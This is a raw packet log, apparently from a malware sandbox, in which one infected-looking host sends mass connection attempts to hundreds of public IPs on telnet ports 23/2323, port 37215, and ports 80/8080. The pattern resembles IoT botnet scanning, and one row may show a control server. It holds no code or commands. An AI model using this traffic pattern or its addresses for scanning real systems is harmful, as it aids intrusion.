Feb 27, 2025 07:08:34.534089088 CET	25538	8080	192.168.2.14	85.193.88.117
Feb 27, 2025 07:08:34.534090996 CET	25538	8080	192.168.2.14	95.134.191.229
Feb 27, 2025 07:08:34.534096003 CET	25538	8080	192.168.2.14	62.154.223.201
Feb 27, 2025 07:08:34.534099102 CET	25538	8080	192.168.2.14	94.92.34.60
Feb 27, 2025 07:08:34.535082102 CET	80	28098	95.213.69.237	192.168.2.14
Feb 27, 2025 07:08:34.535096884 CET	80	28098	95.62.67.170	192.168.2.14
Feb 27, 2025 07:08:34.535106897 CET	80	28098	95.212.10.33	192.168.2.14
Feb 27, 2025 07:08:34.535116911 CET	80	28098	95.166.90.188	192.168.2.14
Feb 27, 2025 07:08:34.535118103 CET	28098	80	192.168.2.14	95.213.69.237
Feb 27, 2025 07:08:34.535126925 CET	80	28098	95.191.119.223	192.168.2.14
Feb 27, 2025 07:08:34.535134077 CET	28098	80	192.168.2.14	95.62.67.170
Feb 27, 2025 07:08:34.535136938 CET	28098	80	192.168.2.14	95.212.10.33
Feb 27, 2025 07:08:34.535137892 CET	80	28098	95.204.166.66	192.168.2.14
Feb 27, 2025 07:08:34.535142899 CET	28098	80	192.168.2.14	95.166.90.188
Feb 27, 2025 07:08:34.535150051 CET	80	28098	95.26.121.247	192.168.2.14
Feb 27, 2025 07:08:34.535157919 CET	28098	80	192.168.2.14	95.191.119.223
Feb 27, 2025 07:08:34.535160065 CET	80	28098	95.47.3.161	192.168.2.14
Feb 27, 2025 07:08:34.535171032 CET	80	28098	95.69.160.111	192.168.2.14
Feb 27, 2025 07:08:34.535175085 CET	28098	80	192.168.2.14	95.204.166.66
Feb 27, 2025 07:08:34.535180092 CET	28098	80	192.168.2.14	95.26.121.247
Feb 27, 2025 07:08:34.535181999 CET	80	28098	95.148.245.160	192.168.2.14
Feb 27, 2025 07:08:34.535191059 CET	80	28098	95.181.20.135	192.168.2.14
Feb 27, 2025 07:08:34.535200119 CET	28098	80	192.168.2.14	95.47.3.161
Feb 27, 2025 07:08:34.535202980 CET	80	28098	95.58.138.36	192.168.2.14
Feb 27, 2025 07:08:34.535202980 CET	28098	80	192.168.2.14	95.69.160.111
Feb 27, 2025 07:08:34.535214901 CET	80	28098	95.134.84.228	192.168.2.14
Feb 27, 2025 07:08:34.535223961 CET	28098	80	192.168.2.14	95.181.20.135
Feb 27, 2025 07:08:34.535226107 CET	80	28098	95.185.137.238	192.168.2.14
Feb 27, 2025 07:08:34.535226107 CET	28098	80	192.168.2.14	95.148.245.160
Feb 27, 2025 07:08:34.535237074 CET	80	28098	95.251.248.206	192.168.2.14
Feb 27, 2025 07:08:34.535244942 CET	28098	80	192.168.2.14	95.134.84.228
Feb 27, 2025 07:08:34.535248995 CET	80	28098	95.44.131.83	192.168.2.14
Feb 27, 2025 07:08:34.535254955 CET	28098	80	192.168.2.14	95.58.138.36
Feb 27, 2025 07:08:34.535254955 CET	28098	80	192.168.2.14	95.185.137.238
Feb 27, 2025 07:08:34.535258055 CET	80	28098	95.7.202.199	192.168.2.14
Feb 27, 2025 07:08:34.535269976 CET	28098	80	192.168.2.14	95.251.248.206
Feb 27, 2025 07:08:34.535270929 CET	80	28098	95.21.168.177	192.168.2.14
Feb 27, 2025 07:08:34.535280943 CET	28098	80	192.168.2.14	95.44.131.83
Feb 27, 2025 07:08:34.535280943 CET	28098	80	192.168.2.14	95.7.202.199
Feb 27, 2025 07:08:34.535283089 CET	80	28098	95.134.65.117	192.168.2.14
Feb 27, 2025 07:08:34.535291910 CET	58190	37215	192.168.2.14	197.157.36.169
Feb 27, 2025 07:08:34.535295010 CET	80	28098	95.51.199.1	192.168.2.14
Feb 27, 2025 07:08:34.535304070 CET	28098	80	192.168.2.14	95.21.168.177
Feb 27, 2025 07:08:34.535306931 CET	28098	80	192.168.2.14	95.134.65.117
Feb 27, 2025 07:08:34.535327911 CET	28098	80	192.168.2.14	95.51.199.1
Feb 27, 2025 07:08:34.536166906 CET	35702	37215	192.168.2.14	197.206.172.103
Feb 27, 2025 07:08:34.536351919 CET	25794	2323	192.168.2.14	155.14.203.100
Feb 27, 2025 07:08:34.536380053 CET	25794	23	192.168.2.14	105.160.179.149
Feb 27, 2025 07:08:34.536382914 CET	25794	23	192.168.2.14	64.64.110.101
Feb 27, 2025 07:08:34.536396027 CET	25794	23	192.168.2.14	77.133.12.108
Feb 27, 2025 07:08:34.536396980 CET	25794	23	192.168.2.14	108.11.180.84
Feb 27, 2025 07:08:34.536411047 CET	25794	23	192.168.2.14	12.84.240.80
Feb 27, 2025 07:08:34.536411047 CET	25794	23	192.168.2.14	200.231.102.158
Feb 27, 2025 07:08:34.536417007 CET	25794	23	192.168.2.14	25.58.107.46
Feb 27, 2025 07:08:34.536437035 CET	25794	23	192.168.2.14	133.250.220.6
Feb 27, 2025 07:08:34.536470890 CET	25794	23	192.168.2.14	58.114.119.32
Feb 27, 2025 07:08:34.536487103 CET	25794	2323	192.168.2.14	100.231.193.225
Feb 27, 2025 07:08:34.536576986 CET	25794	23	192.168.2.14	36.248.148.91
Feb 27, 2025 07:08:34.536582947 CET	25794	23	192.168.2.14	12.129.0.244
Feb 27, 2025 07:08:34.536586046 CET	25794	23	192.168.2.14	149.47.211.42
Feb 27, 2025 07:08:34.536590099 CET	25794	23	192.168.2.14	210.9.138.82
Feb 27, 2025 07:08:34.536597967 CET	25794	23	192.168.2.14	122.90.101.226
Feb 27, 2025 07:08:34.536602020 CET	25794	23	192.168.2.14	64.198.208.101
Feb 27, 2025 07:08:34.536619902 CET	25794	23	192.168.2.14	139.62.116.88
Feb 27, 2025 07:08:34.536623001 CET	25794	23	192.168.2.14	113.124.141.45
Feb 27, 2025 07:08:34.536623001 CET	25794	2323	192.168.2.14	150.219.109.179
Feb 27, 2025 07:08:34.536632061 CET	25794	23	192.168.2.14	191.77.46.111
Feb 27, 2025 07:08:34.536633015 CET	25794	23	192.168.2.14	107.217.138.176
Feb 27, 2025 07:08:34.536633015 CET	25794	23	192.168.2.14	85.248.20.126
Feb 27, 2025 07:08:34.536633015 CET	25794	23	192.168.2.14	68.104.148.23
Feb 27, 2025 07:08:34.536634922 CET	25794	23	192.168.2.14	24.131.77.140
Feb 27, 2025 07:08:34.536634922 CET	25794	23	192.168.2.14	76.74.107.33
Feb 27, 2025 07:08:34.536649942 CET	25794	23	192.168.2.14	169.229.248.88
Feb 27, 2025 07:08:34.536650896 CET	25794	23	192.168.2.14	118.57.172.253
Feb 27, 2025 07:08:34.536649942 CET	25794	23	192.168.2.14	48.127.204.51
Feb 27, 2025 07:08:34.536650896 CET	25794	23	192.168.2.14	38.125.18.147
Feb 27, 2025 07:08:34.536660910 CET	25794	2323	192.168.2.14	108.111.114.208
Feb 27, 2025 07:08:34.536662102 CET	25794	23	192.168.2.14	116.241.56.28
Feb 27, 2025 07:08:34.536685944 CET	25794	23	192.168.2.14	155.141.212.193
Feb 27, 2025 07:08:34.536689043 CET	25794	23	192.168.2.14	148.250.218.122
Feb 27, 2025 07:08:34.536689997 CET	25794	23	192.168.2.14	169.5.212.154
Feb 27, 2025 07:08:34.536689043 CET	25794	23	192.168.2.14	187.247.245.98
Feb 27, 2025 07:08:34.536689997 CET	25794	23	192.168.2.14	150.111.55.172
Feb 27, 2025 07:08:34.536689997 CET	25794	23	192.168.2.14	27.154.8.214
Feb 27, 2025 07:08:34.536689043 CET	25794	23	192.168.2.14	185.142.124.191
Feb 27, 2025 07:08:34.536706924 CET	25794	23	192.168.2.14	91.172.46.92
Feb 27, 2025 07:08:34.536706924 CET	25794	2323	192.168.2.14	219.115.129.123
Feb 27, 2025 07:08:34.536706924 CET	25794	23	192.168.2.14	82.38.194.204
Feb 27, 2025 07:08:34.536711931 CET	25794	23	192.168.2.14	110.198.117.10
Feb 27, 2025 07:08:34.536717892 CET	25794	23	192.168.2.14	164.96.52.10
Feb 27, 2025 07:08:34.536731005 CET	25794	23	192.168.2.14	169.216.129.3
Feb 27, 2025 07:08:34.536736012 CET	25794	23	192.168.2.14	75.63.21.141
Feb 27, 2025 07:08:34.536737919 CET	25794	23	192.168.2.14	159.224.143.7
Feb 27, 2025 07:08:34.536739111 CET	25794	23	192.168.2.14	32.74.245.176
Feb 27, 2025 07:08:34.536744118 CET	25794	23	192.168.2.14	222.124.70.96
Feb 27, 2025 07:08:34.536744118 CET	25794	23	192.168.2.14	65.226.229.105
Feb 27, 2025 07:08:34.536748886 CET	25794	2323	192.168.2.14	68.76.109.35
Feb 27, 2025 07:08:34.536748886 CET	25794	23	192.168.2.14	40.148.217.237
Feb 27, 2025 07:08:34.536765099 CET	25794	23	192.168.2.14	142.87.44.149
Feb 27, 2025 07:08:34.536767006 CET	25794	23	192.168.2.14	72.137.87.210
Feb 27, 2025 07:08:34.536767006 CET	25794	23	192.168.2.14	147.195.114.217
Feb 27, 2025 07:08:34.536777020 CET	25794	23	192.168.2.14	148.107.145.188
Feb 27, 2025 07:08:34.536783934 CET	25794	23	192.168.2.14	108.101.239.167
Feb 27, 2025 07:08:34.536792040 CET	25794	23	192.168.2.14	176.175.50.224
Feb 27, 2025 07:08:34.536792040 CET	25794	23	192.168.2.14	119.212.91.250
Feb 27, 2025 07:08:34.536801100 CET	25794	23	192.168.2.14	107.25.234.125
Feb 27, 2025 07:08:34.536822081 CET	25794	2323	192.168.2.14	185.56.18.154
Feb 27, 2025 07:08:34.536828995 CET	25794	23	192.168.2.14	78.119.247.90
Feb 27, 2025 07:08:34.536849976 CET	25794	23	192.168.2.14	44.30.128.252
Feb 27, 2025 07:08:34.536849976 CET	25794	23	192.168.2.14	53.34.97.219
Feb 27, 2025 07:08:34.536853075 CET	25794	23	192.168.2.14	137.141.79.88
Feb 27, 2025 07:08:34.536860943 CET	25794	23	192.168.2.14	204.183.180.178
Feb 27, 2025 07:08:34.536870003 CET	25794	23	192.168.2.14	172.44.166.79
Feb 27, 2025 07:08:34.536870956 CET	25794	23	192.168.2.14	48.116.102.182
Feb 27, 2025 07:08:34.536890984 CET	25794	23	192.168.2.14	103.216.245.104
Feb 27, 2025 07:08:34.536895037 CET	25794	2323	192.168.2.14	19.134.35.168
Feb 27, 2025 07:08:34.536897898 CET	25794	23	192.168.2.14	156.13.35.173
Feb 27, 2025 07:08:34.536916971 CET	25794	23	192.168.2.14	36.77.21.14
Feb 27, 2025 07:08:34.536920071 CET	25794	23	192.168.2.14	99.136.251.250
Feb 27, 2025 07:08:34.536923885 CET	25794	23	192.168.2.14	67.41.182.118
Feb 27, 2025 07:08:34.536932945 CET	25794	23	192.168.2.14	126.167.155.184
Feb 27, 2025 07:08:34.536932945 CET	25794	23	192.168.2.14	2.71.72.36
Feb 27, 2025 07:08:34.536957979 CET	25794	23	192.168.2.14	31.213.93.243
Feb 27, 2025 07:08:34.536959887 CET	25794	23	192.168.2.14	180.210.42.185
Feb 27, 2025 07:08:34.536966085 CET	25794	23	192.168.2.14	42.252.84.136
Feb 27, 2025 07:08:34.536983013 CET	25794	23	192.168.2.14	38.18.143.143
Feb 27, 2025 07:08:34.536988020 CET	25794	23	192.168.2.14	142.149.120.93
Feb 27, 2025 07:08:34.536988020 CET	25794	23	192.168.2.14	177.209.154.227
Feb 27, 2025 07:08:34.536989927 CET	25794	2323	192.168.2.14	106.35.4.85
Feb 27, 2025 07:08:34.536990881 CET	25794	23	192.168.2.14	222.169.74.155
Feb 27, 2025 07:08:34.537019968 CET	25794	23	192.168.2.14	52.178.162.38
Feb 27, 2025 07:08:34.537020922 CET	25794	23	192.168.2.14	53.63.158.53
Feb 27, 2025 07:08:34.537031889 CET	25794	23	192.168.2.14	200.198.8.151
Feb 27, 2025 07:08:34.537031889 CET	25794	23	192.168.2.14	45.195.55.252
Feb 27, 2025 07:08:34.537044048 CET	25794	23	192.168.2.14	35.54.252.165
Feb 27, 2025 07:08:34.537050962 CET	25794	2323	192.168.2.14	42.219.70.26
Feb 27, 2025 07:08:34.537053108 CET	25794	23	192.168.2.14	116.242.218.28
Feb 27, 2025 07:08:34.537053108 CET	25794	23	192.168.2.14	213.120.127.63
Feb 27, 2025 07:08:34.537070036 CET	25794	23	192.168.2.14	17.211.56.12
Feb 27, 2025 07:08:34.537070036 CET	25794	23	192.168.2.14	161.204.217.93
Feb 27, 2025 07:08:34.537075996 CET	25794	23	192.168.2.14	132.178.76.215
Feb 27, 2025 07:08:34.537075996 CET	25794	23	192.168.2.14	44.54.129.156
Feb 27, 2025 07:08:34.537077904 CET	25794	23	192.168.2.14	165.246.155.193
Feb 27, 2025 07:08:34.537082911 CET	25794	23	192.168.2.14	184.131.76.228
Feb 27, 2025 07:08:34.537085056 CET	25794	23	192.168.2.14	138.43.164.109
Feb 27, 2025 07:08:34.537085056 CET	25794	23	192.168.2.14	173.51.53.16
Feb 27, 2025 07:08:34.537092924 CET	25794	2323	192.168.2.14	186.70.246.193
Feb 27, 2025 07:08:34.537130117 CET	25794	23	192.168.2.14	179.99.91.127
Feb 27, 2025 07:08:34.537132025 CET	80	28098	95.224.35.241	192.168.2.14
Feb 27, 2025 07:08:34.537133932 CET	25794	23	192.168.2.14	149.89.91.225
Feb 27, 2025 07:08:34.537139893 CET	25794	23	192.168.2.14	223.12.149.151
Feb 27, 2025 07:08:34.537139893 CET	25794	23	192.168.2.14	160.69.235.161
Feb 27, 2025 07:08:34.537139893 CET	25794	23	192.168.2.14	217.168.231.80
Feb 27, 2025 07:08:34.537139893 CET	25794	23	192.168.2.14	96.191.158.190
Feb 27, 2025 07:08:34.537147999 CET	80	28098	95.101.210.229	192.168.2.14
Feb 27, 2025 07:08:34.537153006 CET	25794	23	192.168.2.14	106.97.59.217
Feb 27, 2025 07:08:34.537153006 CET	25794	23	192.168.2.14	61.247.3.37
Feb 27, 2025 07:08:34.537153006 CET	25794	2323	192.168.2.14	31.81.230.213
Feb 27, 2025 07:08:34.537153959 CET	25794	23	192.168.2.14	145.74.177.169
Feb 27, 2025 07:08:34.537161112 CET	80	28098	95.121.232.31	192.168.2.14
Feb 27, 2025 07:08:34.537172079 CET	28098	80	192.168.2.14	95.101.210.229
Feb 27, 2025 07:08:34.537173033 CET	80	28098	95.60.191.1	192.168.2.14
Feb 27, 2025 07:08:34.537174940 CET	25794	23	192.168.2.14	188.7.186.167
Feb 27, 2025 07:08:34.537174940 CET	28098	80	192.168.2.14	95.224.35.241
Feb 27, 2025 07:08:34.537184000 CET	25794	23	192.168.2.14	61.193.130.154
Feb 27, 2025 07:08:34.537184954 CET	80	28098	95.155.94.162	192.168.2.14
Feb 27, 2025 07:08:34.537194014 CET	28098	80	192.168.2.14	95.121.232.31
Feb 27, 2025 07:08:34.537195921 CET	80	28098	95.4.74.59	192.168.2.14
Feb 27, 2025 07:08:34.537206888 CET	25794	23	192.168.2.14	24.78.184.53
Feb 27, 2025 07:08:34.537209034 CET	80	28098	95.68.58.189	192.168.2.14
Feb 27, 2025 07:08:34.537218094 CET	28098	80	192.168.2.14	95.155.94.162
Feb 27, 2025 07:08:34.537220001 CET	80	28098	95.44.235.106	192.168.2.14
Feb 27, 2025 07:08:34.537223101 CET	28098	80	192.168.2.14	95.60.191.1
Feb 27, 2025 07:08:34.537229061 CET	25794	23	192.168.2.14	211.243.216.156
Feb 27, 2025 07:08:34.537234068 CET	80	28098	95.200.34.127	192.168.2.14
Feb 27, 2025 07:08:34.537245035 CET	80	28098	95.96.234.116	192.168.2.14
Feb 27, 2025 07:08:34.537247896 CET	25794	23	192.168.2.14	212.121.42.217
Feb 27, 2025 07:08:34.537250996 CET	28098	80	192.168.2.14	95.4.74.59
Feb 27, 2025 07:08:34.537250996 CET	25794	23	192.168.2.14	86.187.156.104
Feb 27, 2025 07:08:34.537250996 CET	28098	80	192.168.2.14	95.68.58.189
Feb 27, 2025 07:08:34.537250996 CET	25794	23	192.168.2.14	81.160.157.236
Feb 27, 2025 07:08:34.537256002 CET	80	28098	95.118.166.168	192.168.2.14
Feb 27, 2025 07:08:34.537267923 CET	80	28098	95.94.49.200	192.168.2.14
Feb 27, 2025 07:08:34.537271976 CET	25794	23	192.168.2.14	60.166.225.248
Feb 27, 2025 07:08:34.537273884 CET	28098	80	192.168.2.14	95.44.235.106
Feb 27, 2025 07:08:34.537271023 CET	25794	2323	192.168.2.14	86.75.13.235
Feb 27, 2025 07:08:34.537278891 CET	80	28098	95.182.151.98	192.168.2.14
Feb 27, 2025 07:08:34.537281036 CET	25794	23	192.168.2.14	212.7.77.74
Feb 27, 2025 07:08:34.537281036 CET	28098	80	192.168.2.14	95.200.34.127
Feb 27, 2025 07:08:34.537290096 CET	80	28098	95.96.143.135	192.168.2.14
Feb 27, 2025 07:08:34.537293911 CET	28098	80	192.168.2.14	95.96.234.116
Feb 27, 2025 07:08:34.537293911 CET	25794	23	192.168.2.14	138.106.89.105
Feb 27, 2025 07:08:34.537295103 CET	25794	23	192.168.2.14	197.38.125.70
Feb 27, 2025 07:08:34.537296057 CET	25794	23	192.168.2.14	182.244.47.171
Feb 27, 2025 07:08:34.537295103 CET	25794	23	192.168.2.14	158.23.97.29
Feb 27, 2025 07:08:34.537301064 CET	80	28098	95.216.196.122	192.168.2.14
Feb 27, 2025 07:08:34.537302971 CET	28098	80	192.168.2.14	95.118.166.168
Feb 27, 2025 07:08:34.537311077 CET	80	28098	95.123.122.230	192.168.2.14
Feb 27, 2025 07:08:34.537312984 CET	25794	23	192.168.2.14	132.232.19.158
Feb 27, 2025 07:08:34.537313938 CET	28098	80	192.168.2.14	95.94.49.200
Feb 27, 2025 07:08:34.537305117 CET	25794	23	192.168.2.14	61.85.235.255
Feb 27, 2025 07:08:34.537312984 CET	25794	23	192.168.2.14	125.116.56.38
Feb 27, 2025 07:08:34.537317991 CET	28098	80	192.168.2.14	95.182.151.98
Feb 27, 2025 07:08:34.537322998 CET	80	28098	95.236.103.200	192.168.2.14
Feb 27, 2025 07:08:34.537332058 CET	28098	80	192.168.2.14	95.96.143.135
Feb 27, 2025 07:08:34.537334919 CET	28098	80	192.168.2.14	95.216.196.122
Feb 27, 2025 07:08:34.537336111 CET	80	28098	95.164.60.239	192.168.2.14
Feb 27, 2025 07:08:34.537343025 CET	28098	80	192.168.2.14	95.123.122.230
Feb 27, 2025 07:08:34.537347078 CET	80	28098	95.129.21.221	192.168.2.14
Feb 27, 2025 07:08:34.537354946 CET	25794	23	192.168.2.14	209.236.139.147
Feb 27, 2025 07:08:34.537357092 CET	80	28098	95.185.137.146	192.168.2.14
Feb 27, 2025 07:08:34.537367105 CET	80	28098	95.90.33.37	192.168.2.14
Feb 27, 2025 07:08:34.537369967 CET	28098	80	192.168.2.14	95.236.103.200
Feb 27, 2025 07:08:34.537372112 CET	25794	23	192.168.2.14	48.247.136.21
Feb 27, 2025 07:08:34.537369967 CET	25794	23	192.168.2.14	177.185.197.43
Feb 27, 2025 07:08:34.537369967 CET	25794	2323	192.168.2.14	53.148.56.248
Feb 27, 2025 07:08:34.537378073 CET	80	28098	95.192.25.242	192.168.2.14
Feb 27, 2025 07:08:34.537379980 CET	25794	23	192.168.2.14	31.103.22.5
Feb 27, 2025 07:08:34.537389040 CET	80	28098	95.113.177.240	192.168.2.14
Feb 27, 2025 07:08:34.537384987 CET	28098	80	192.168.2.14	95.129.21.221
Feb 27, 2025 07:08:34.537390947 CET	28098	80	192.168.2.14	95.164.60.239
Feb 27, 2025 07:08:34.537399054 CET	25794	23	192.168.2.14	104.66.103.37
Feb 27, 2025 07:08:34.537400007 CET	25794	23	192.168.2.14	163.3.17.120
Feb 27, 2025 07:08:34.537401915 CET	80	28098	95.14.221.118	192.168.2.14
Feb 27, 2025 07:08:34.537405014 CET	28098	80	192.168.2.14	95.185.137.146
Feb 27, 2025 07:08:34.537406921 CET	25794	23	192.168.2.14	18.133.167.144
Feb 27, 2025 07:08:34.537409067 CET	25794	23	192.168.2.14	43.225.194.128
Feb 27, 2025 07:08:34.537410021 CET	25794	23	192.168.2.14	177.132.137.99
Feb 27, 2025 07:08:34.537411928 CET	25794	23	192.168.2.14	120.129.34.196
Feb 27, 2025 07:08:34.537411928 CET	28098	80	192.168.2.14	95.90.33.37
Feb 27, 2025 07:08:34.537411928 CET	28098	80	192.168.2.14	95.192.25.242
Feb 27, 2025 07:08:34.537415981 CET	80	28098	95.177.182.42	192.168.2.14
Feb 27, 2025 07:08:34.537419081 CET	28098	80	192.168.2.14	95.113.177.240
Feb 27, 2025 07:08:34.537426949 CET	80	28098	95.112.67.205	192.168.2.14
Feb 27, 2025 07:08:34.537439108 CET	28098	80	192.168.2.14	95.14.221.118
Feb 27, 2025 07:08:34.537439108 CET	80	28098	95.147.84.200	192.168.2.14
Feb 27, 2025 07:08:34.537440062 CET	25794	23	192.168.2.14	112.25.69.57
Feb 27, 2025 07:08:34.537446022 CET	25794	23	192.168.2.14	93.206.248.232
Feb 27, 2025 07:08:34.537446976 CET	28098	80	192.168.2.14	95.177.182.42
Feb 27, 2025 07:08:34.537446022 CET	25794	2323	192.168.2.14	96.35.124.21
Feb 27, 2025 07:08:34.537446022 CET	25794	23	192.168.2.14	14.243.2.138
Feb 27, 2025 07:08:34.537451982 CET	80	28098	95.129.89.192	192.168.2.14
Feb 27, 2025 07:08:34.537457943 CET	28098	80	192.168.2.14	95.112.67.205
Feb 27, 2025 07:08:34.537463903 CET	80	28098	95.53.16.138	192.168.2.14
Feb 27, 2025 07:08:34.537468910 CET	45264	37215	192.168.2.14	197.149.32.102
Feb 27, 2025 07:08:34.537471056 CET	25794	23	192.168.2.14	86.114.135.224
Feb 27, 2025 07:08:34.537476063 CET	80	28098	95.244.14.243	192.168.2.14
Feb 27, 2025 07:08:34.537482023 CET	28098	80	192.168.2.14	95.129.89.192
Feb 27, 2025 07:08:34.537486076 CET	28098	80	192.168.2.14	95.147.84.200
Feb 27, 2025 07:08:34.537487030 CET	80	28098	95.99.143.192	192.168.2.14
Feb 27, 2025 07:08:34.537487030 CET	25794	23	192.168.2.14	203.148.149.142
Feb 27, 2025 07:08:34.537492990 CET	25794	23	192.168.2.14	211.211.134.43
Feb 27, 2025 07:08:34.537501097 CET	80	28098	95.204.203.48	192.168.2.14
Feb 27, 2025 07:08:34.537512064 CET	28098	80	192.168.2.14	95.53.16.138
Feb 27, 2025 07:08:34.537512064 CET	80	28098	95.212.205.175	192.168.2.14
Feb 27, 2025 07:08:34.537513018 CET	28098	80	192.168.2.14	95.244.14.243
Feb 27, 2025 07:08:34.537513971 CET	25794	23	192.168.2.14	137.217.250.114
Feb 27, 2025 07:08:34.537522078 CET	28098	80	192.168.2.14	95.99.143.192
Feb 27, 2025 07:08:34.537525892 CET	80	28098	95.166.82.89	192.168.2.14
Feb 27, 2025 07:08:34.537538052 CET	80	28098	95.31.85.170	192.168.2.14
Feb 27, 2025 07:08:34.537540913 CET	25794	23	192.168.2.14	206.52.201.102
Feb 27, 2025 07:08:34.537543058 CET	25794	23	192.168.2.14	203.77.71.129
Feb 27, 2025 07:08:34.537548065 CET	80	28098	95.70.220.250	192.168.2.14
Feb 27, 2025 07:08:34.537555933 CET	25794	2323	192.168.2.14	116.127.76.127
Feb 27, 2025 07:08:34.537559032 CET	25794	23	192.168.2.14	195.51.21.78
Feb 27, 2025 07:08:34.537559032 CET	80	28098	95.186.113.83	192.168.2.14
Feb 27, 2025 07:08:34.537559986 CET	28098	80	192.168.2.14	95.204.203.48
Feb 27, 2025 07:08:34.537559986 CET	28098	80	192.168.2.14	95.166.82.89
Feb 27, 2025 07:08:34.537566900 CET	28098	80	192.168.2.14	95.212.205.175
Feb 27, 2025 07:08:34.537574053 CET	80	28098	95.166.182.222	192.168.2.14
Feb 27, 2025 07:08:34.537579060 CET	25794	23	192.168.2.14	91.134.133.123
Feb 27, 2025 07:08:34.537580967 CET	25794	23	192.168.2.14	218.47.53.133
Feb 27, 2025 07:08:34.537585974 CET	80	28098	95.94.103.187	192.168.2.14
Feb 27, 2025 07:08:34.537585974 CET	25794	23	192.168.2.14	69.1.183.9
Feb 27, 2025 07:08:34.537586927 CET	25794	23	192.168.2.14	211.60.222.249
Feb 27, 2025 07:08:34.537587881 CET	25794	23	192.168.2.14	140.163.16.190
Feb 27, 2025 07:08:34.537592888 CET	28098	80	192.168.2.14	95.186.113.83
Feb 27, 2025 07:08:34.537595987 CET	80	28098	95.203.58.43	192.168.2.14
Feb 27, 2025 07:08:34.537599087 CET	28098	80	192.168.2.14	95.70.220.250
Feb 27, 2025 07:08:34.537599087 CET	25794	23	192.168.2.14	169.79.36.213
Feb 27, 2025 07:08:34.537599087 CET	28098	80	192.168.2.14	95.31.85.170
Feb 27, 2025 07:08:34.537606955 CET	25794	23	192.168.2.14	72.71.193.140
Feb 27, 2025 07:08:34.537609100 CET	80	28098	95.154.215.55	192.168.2.14
Feb 27, 2025 07:08:34.537615061 CET	28098	80	192.168.2.14	95.166.182.222
Feb 27, 2025 07:08:34.537620068 CET	28098	80	192.168.2.14	95.94.103.187
Feb 27, 2025 07:08:34.537621021 CET	80	28098	95.147.49.36	192.168.2.14
Feb 27, 2025 07:08:34.537625074 CET	28098	80	192.168.2.14	95.203.58.43
Feb 27, 2025 07:08:34.537632942 CET	80	28098	95.207.159.61	192.168.2.14
Feb 27, 2025 07:08:34.537636042 CET	28098	80	192.168.2.14	95.154.215.55
Feb 27, 2025 07:08:34.537636995 CET	25794	23	192.168.2.14	137.205.225.9
Feb 27, 2025 07:08:34.537642002 CET	80	28098	95.131.118.35	192.168.2.14
Feb 27, 2025 07:08:34.537652016 CET	80	28098	95.253.87.152	192.168.2.14
Feb 27, 2025 07:08:34.537661076 CET	28098	80	192.168.2.14	95.147.49.36
Feb 27, 2025 07:08:34.537662029 CET	80	28098	95.138.176.103	192.168.2.14
Feb 27, 2025 07:08:34.537668943 CET	28098	80	192.168.2.14	95.207.159.61
Feb 27, 2025 07:08:34.537669897 CET	25794	23	192.168.2.14	113.145.150.24
Feb 27, 2025 07:08:34.537673950 CET	80	28098	95.165.235.160	192.168.2.14
Feb 27, 2025 07:08:34.537678957 CET	25794	23	192.168.2.14	20.241.60.164
Feb 27, 2025 07:08:34.537683964 CET	28098	80	192.168.2.14	95.253.87.152
Feb 27, 2025 07:08:34.537686110 CET	80	28098	95.97.150.237	192.168.2.14
Feb 27, 2025 07:08:34.537687063 CET	28098	80	192.168.2.14	95.131.118.35
Feb 27, 2025 07:08:34.537692070 CET	25794	2323	192.168.2.14	66.151.84.205
Feb 27, 2025 07:08:34.537698030 CET	25794	23	192.168.2.14	113.84.97.121
Feb 27, 2025 07:08:34.537698984 CET	80	28098	95.139.59.35	192.168.2.14
Feb 27, 2025 07:08:34.537703037 CET	25794	23	192.168.2.14	40.242.212.133
Feb 27, 2025 07:08:34.537703037 CET	25794	23	192.168.2.14	109.4.213.215
Feb 27, 2025 07:08:34.537703037 CET	25794	23	192.168.2.14	176.196.183.74
Feb 27, 2025 07:08:34.537703037 CET	25794	23	192.168.2.14	98.222.40.121
Feb 27, 2025 07:08:34.537710905 CET	80	28098	95.145.223.38	192.168.2.14
Feb 27, 2025 07:08:34.537714005 CET	25794	23	192.168.2.14	48.95.107.243
Feb 27, 2025 07:08:34.537714005 CET	25794	2323	192.168.2.14	104.176.206.34
Feb 27, 2025 07:08:34.537714005 CET	28098	80	192.168.2.14	95.165.235.160
Feb 27, 2025 07:08:34.537715912 CET	28098	80	192.168.2.14	95.138.176.103
Feb 27, 2025 07:08:34.537715912 CET	28098	80	192.168.2.14	95.97.150.237
Feb 27, 2025 07:08:34.537722111 CET	80	28098	95.168.59.146	192.168.2.14
Feb 27, 2025 07:08:34.537727118 CET	25794	23	192.168.2.14	150.208.142.208
Feb 27, 2025 07:08:34.537727118 CET	25794	23	192.168.2.14	8.211.249.224
Feb 27, 2025 07:08:34.537727118 CET	28098	80	192.168.2.14	95.139.59.35
Feb 27, 2025 07:08:34.537731886 CET	25794	23	192.168.2.14	105.86.71.61
Feb 27, 2025 07:08:34.537734032 CET	25794	23	192.168.2.14	46.60.217.63
Feb 27, 2025 07:08:34.537734985 CET	80	28098	95.141.233.68	192.168.2.14
Feb 27, 2025 07:08:34.537736893 CET	25794	23	192.168.2.14	95.140.151.174
Feb 27, 2025 07:08:34.537741899 CET	25794	23	192.168.2.14	157.52.88.57
Feb 27, 2025 07:08:34.537748098 CET	80	28098	95.136.176.221	192.168.2.14
Feb 27, 2025 07:08:34.537751913 CET	28098	80	192.168.2.14	95.145.223.38
Feb 27, 2025 07:08:34.537755013 CET	25794	23	192.168.2.14	144.218.130.147
Feb 27, 2025 07:08:34.537758112 CET	55555	39290	139.59.126.134	192.168.2.14
Feb 27, 2025 07:08:34.537758112 CET	25794	23	192.168.2.14	45.128.8.147
Feb 27, 2025 07:08:34.537763119 CET	28098	80	192.168.2.14	95.141.233.68
Feb 27, 2025 07:08:34.537770033 CET	80	28098	95.180.163.88	192.168.2.14
Feb 27, 2025 07:08:34.537770033 CET	28098	80	192.168.2.14	95.168.59.146
Feb 27, 2025 07:08:34.537774086 CET	25794	23	192.168.2.14	129.158.200.178
Feb 27, 2025 07:08:34.537774086 CET	25794	23	192.168.2.14	78.213.137.57
Feb 27, 2025 07:08:34.537781000 CET	80	28098	95.157.177.180	192.168.2.14
Feb 27, 2025 07:08:34.537791014 CET	8080	25538	95.167.18.102	192.168.2.14
Feb 27, 2025 07:08:34.537794113 CET	28098	80	192.168.2.14	95.136.176.221
Feb 27, 2025 07:08:34.537801981 CET	8080	25538	62.206.172.103	192.168.2.14
Feb 27, 2025 07:08:34.537811995 CET	28098	80	192.168.2.14	95.157.177.180
Feb 27, 2025 07:08:34.537812948 CET	8080	25538	31.236.62.169	192.168.2.14
Feb 27, 2025 07:08:34.537816048 CET	28098	80	192.168.2.14	95.180.163.88
